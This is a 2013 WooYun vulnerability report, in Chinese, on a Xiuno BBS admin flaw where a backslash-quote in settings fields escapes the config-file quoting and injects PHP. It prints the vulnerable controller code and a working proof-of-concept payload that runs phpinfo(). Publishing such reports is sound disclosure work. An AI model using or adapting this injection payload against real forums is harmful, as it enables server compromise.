当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019717

漏洞标题:热个身,xiuno bbs后台代码执行漏洞

相关厂商:Xiuno BBS

漏洞作者: 猪头子

提交时间:2013-03-08 10:50

修复时间:2013-04-22 10:50

公开时间:2013-04-22 10:50

漏洞类型:命令执行

危害等级:高

自评Rank:13

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-04-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

官方介绍:
Xiuno 这个名字来源于圣斗士星矢白羊座的黄金圣斗士修罗,他的攻击速度和战斗力是十二宫最强的,他是速度和力量的化身;在佛教里面,修罗为六道之一,处于人道和天道之间的一道,半人半神,性情刚烈,好战斗。我们取其寓意,希望XIUNO变得越来越强,越来越快。
在 Xiuno BBS 的第一行代码开始(一共大约有4W多行代码,历时多年积累)对性能的追求就到了苛刻,完美,歇斯底里,神经质,作者本人经常因为权衡一个方案而陷入冥想状态,在千万级数据下,最终的程序执行速度基本控制在0.00x秒,是作者本人比较满意的。
漏洞描述:
xiuno后台在写入配置文件时出现漏洞,导致代码执行

详细说明:

1. 系统配置并非存放在数据库中,而是存放在conf.php中;
2. 使用数组的方法存放;
3. 有转义: ' => \' ;
4. '\'没有转义;
5. 插入\'会被转义为\\',php中\\表示一个\,而单引号就逃脱了转义,因此可以闭合前面的数组;
6. 该漏洞在后台管理中多次出现,包括灯鹭插件的设置中也出现。
在admin/control/conf_control.class.php的on_base方法中:

public function on_base() {
global $conf;
$timezones = array(
'+0' => '+0 ',
'+1' => '+1 ',
'+2' => '+2 ',
'+3' => '+3 ',
'+4' => '+4 ',
'+5' => '+5 ',
'+6' => '+6 ',
'+7' => '+7 ',
'+8' => '+8 北京时间',
'+9' => '+9 ',
'+10' => '+10 ',
'+11' => '+11 ',
'+12' => '+12 ',
'+13' => '+13 ',
'+14' => '+14 ',
'+15' => '+15 ',
'+16' => '+16 ',
'+17' => '+17 ',
'+18' => '+18 ',
'+19' => '+19 ',
'+20' => '+20 ',
'+21' => '+21 ',
'+22' => '+22 ',
'+23' => '+23 ',
);

$input = array();
$bbs = include BBS_PATH.'conf/conf.php';
$error = $post = array();
//获取用户提交的设置信息
if($this->form_submit()) {
$post['app_name'] = core::gpc('app_name', 'P');
$post['urlrewrite'] = intval(core::gpc('urlrewrite', 'P'));
$post['timeoffset'] = core::gpc('timeoffset', 'P');
$post['upload_url'] = core::gpc('upload_url', 'P');
$post['static_url'] = core::gpc('static_url', 'P');
$post['credits_policy_post'] = intval(core::gpc('credits_policy_post', 'P'));
$post['credits_policy_reply'] = intval(core::gpc('credits_policy_reply', 'P'));
$post['golds_policy_reply'] = intval(core::gpc('golds_policy_reply', 'P'));
$post['credits_policy_thread'] = intval(core::gpc('credits_policy_thread', 'P'));
$post['credits_policy_digest_1'] = intval(core::gpc('credits_policy_digest_1', 'P'));
$post['credits_policy_digest_2'] = intval(core::gpc('credits_policy_digest_2', 'P'));
$post['credits_policy_digest_3'] = intval(core::gpc('credits_policy_digest_3', 'P'));
$post['golds_policy_post'] = intval(core::gpc('golds_policy_post', 'P'));
$post['golds_policy_thread'] = intval(core::gpc('golds_policy_thread', 'P'));
$post['golds_policy_digest_1'] = intval(core::gpc('golds_policy_digest_1', 'P'));
$post['golds_policy_digest_2'] = intval(core::gpc('golds_policy_digest_2', 'P'));
$post['golds_policy_digest_3'] = intval(core::gpc('golds_policy_digest_3', 'P'));
$post['cache_pid'] = intval(core::gpc('cache_pid', 'P'));
$post['cache_tid'] = intval(core::gpc('cache_tid', 'P'));
$post['app_brief'] = core::gpc('app_brief', 'P');
$post['app_starttime'] = core::gpc('app_starttime', 'P');
$post['tmp_path'] = core::gpc('tmp_path', 'P');
$post['click_server'] = core::gpc('click_server', 'P');
$post['reg_on'] = intval(core::gpc('reg_on', 'P'));
$post['reg_email_on'] = intval(core::gpc('reg_email_on', 'P'));
$post['reg_init_golds'] = intval(core::gpc('reg_init_golds', 'P'));
$post['resetpw_on'] = intval(core::gpc('resetpw_on', 'P'));
$post['app_copyright'] = core::gpc('app_copyright', 'P');
$post['seo_title'] = core::gpc('seo_title', 'P');
$post['seo_keywords'] = core::gpc('seo_keywords', 'P');
$post['seo_description'] = core::gpc('seo_description', 'P');
$post['threadlist_hotviews'] = intval(core::gpc('threadlist_hotviews', 'P'));
$post['search_type'] = core::gpc('search_type', 'P');
$post['sphinx_host'] = core::gpc('sphinx_host', 'P');
$post['sphinx_port'] = core::gpc('sphinx_port', 'P');
$post['sphinx_datasrc'] = core::gpc('sphinx_datasrc', 'P');
$post['sphinx_deltasrc'] = core::gpc('sphinx_deltasrc', 'P');
$post['china_icp'] = core::gpc('china_icp', 'P');
$post['footer_js'] = core::gpc('footer_js', 'P');
$post['site_pv'] = intval(core::gpc('site_pv', 'P'));
$post['site_runlevel'] = intval(core::gpc('site_runlevel', 'P'));
$post['forum_index_pagesize'] = intval(core::gpc('forum_index_pagesize', 'P'));

// hook admin_conf_base_gpc_after.php

// check 数据格式
$error['app_name'] = $this->check_app_name($post['app_name']);

if(misc::values_empty($error)) {
$error = array();
if($post['urlrewrite'] != $this->conf['urlrewrite']) {
$this->clear_cache($this->conf['tmp_path'], 'bbs_');
$this->clear_cache($this->conf['tmp_path'], 'bbsadmin_');
if(!empty($post['urlrewrite']) && $post['urlrewrite'] != $bbs['urlrewrite']) {
$testurl = $bbs['app_url'].'index.htm';
try {
$html = misc::get_url($testurl);
} catch(Exception $e) {
$html = '';
}
if(strpos($html, '<html') === FALSE) {
$post['urlrewrite'] = 0;
}
}
}

//将配置写入到文件中
$this->mconf->set_to('app_name', $post['app_name']);
$this->mconf->set_to('urlrewrite', $post['urlrewrite']);
$this->mconf->set_to('timeoffset', $post['timeoffset']);
$this->mconf->set_to('upload_url', $post['upload_url']);
$this->mconf->set_to('static_url', $post['static_url']);
$this->mconf->set_to('click_server', $post['click_server']);
$this->mconf->set_to('credits_policy_post', $post['credits_policy_post']);
$this->mconf->set_to('credits_policy_reply', $post['credits_policy_reply']);
$this->mconf->set_to('golds_policy_reply', $post['golds_policy_reply']);
$this->mconf->set_to('credits_policy_thread', $post['credits_policy_thread']);
$this->mconf->set_to('credits_policy_digest_1', $post['credits_policy_digest_1']);
$this->mconf->set_to('credits_policy_digest_2', $post['credits_policy_digest_2']);
$this->mconf->set_to('credits_policy_digest_3', $post['credits_policy_digest_3']);
$this->mconf->set_to('golds_policy_post', $post['golds_policy_post']);
$this->mconf->set_to('golds_policy_thread', $post['golds_policy_thread']);
$this->mconf->set_to('golds_policy_digest_1', $post['golds_policy_digest_1']);
$this->mconf->set_to('golds_policy_digest_2', $post['golds_policy_digest_2']);
$this->mconf->set_to('golds_policy_digest_3', $post['golds_policy_digest_3']);
$this->mconf->set_to('cache_pid', $post['cache_pid']);
$this->mconf->set_to('cache_tid', $post['cache_tid']);
$this->mconf->set_to('app_brief', $post['app_brief']);
$this->mconf->set_to('app_starttime', $post['app_starttime']);
$this->mconf->set_to('reg_on', $post['reg_on']);
$this->mconf->set_to('reg_email_on', $post['reg_email_on']);
$this->mconf->set_to('reg_init_golds', $post['reg_init_golds']);
$this->mconf->set_to('resetpw_on', $post['resetpw_on']);
$this->mconf->set_to('app_copyright', $post['app_copyright']);
$this->mconf->set_to('seo_title', $post['seo_title']);
$this->mconf->set_to('seo_keywords', $post['seo_keywords']);
$this->mconf->set_to('seo_description', $post['seo_description']);
$this->mconf->set_to('threadlist_hotviews', $post['threadlist_hotviews']);
$this->mconf->set_to('search_type', $post['search_type']);
$this->mconf->set_to('sphinx_host', $post['sphinx_host']);
$this->mconf->set_to('sphinx_port', $post['sphinx_port']);
$this->mconf->set_to('sphinx_datasrc', $post['sphinx_datasrc']);
$this->mconf->set_to('sphinx_deltasrc', $post['sphinx_deltasrc']);
$this->mconf->set_to('china_icp', $post['china_icp']);
$this->mconf->set_to('footer_js', $post['footer_js']);
$this->mconf->set_to('site_pv', $post['site_pv']);
$this->mconf->set_to('site_runlevel', $post['site_runlevel']);
$this->mconf->set_to('forum_index_pagesize', $post['forum_index_pagesize']);

// hook admin_conf_base_set_after.php

//$this->mconf->set_to('tmp_path', $post['tmp_path']);
$this->mconf->save();
}

// 删除模板缓存
$this->truncate_tpl_cache();
}
。。。
}


直接写入到了文件中,由于过滤不严,我们用\'即可绕过单引号过滤,达到闭合单引号的目的。

漏洞证明:

设置 -> 基本设置 -> 站点名称 加上 \',)&&phpinfo();/* (其他地方应该也可以,没测试)

Image.png


这样就在conf/conf.php中写入了如下代码:
return array (

......
// 唯一识别ID
'app_id' => 'bbs' ,

// 站点名称
'app_name' => 'Xiuno BBS \\' ,)&&phpinfo();/*',
形成了return array() && phpinfo();
通过使用&&达到执行命令的目地.

Image.png

修复方案:

如果要将配置放入到文件中的话,做好过滤措施

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝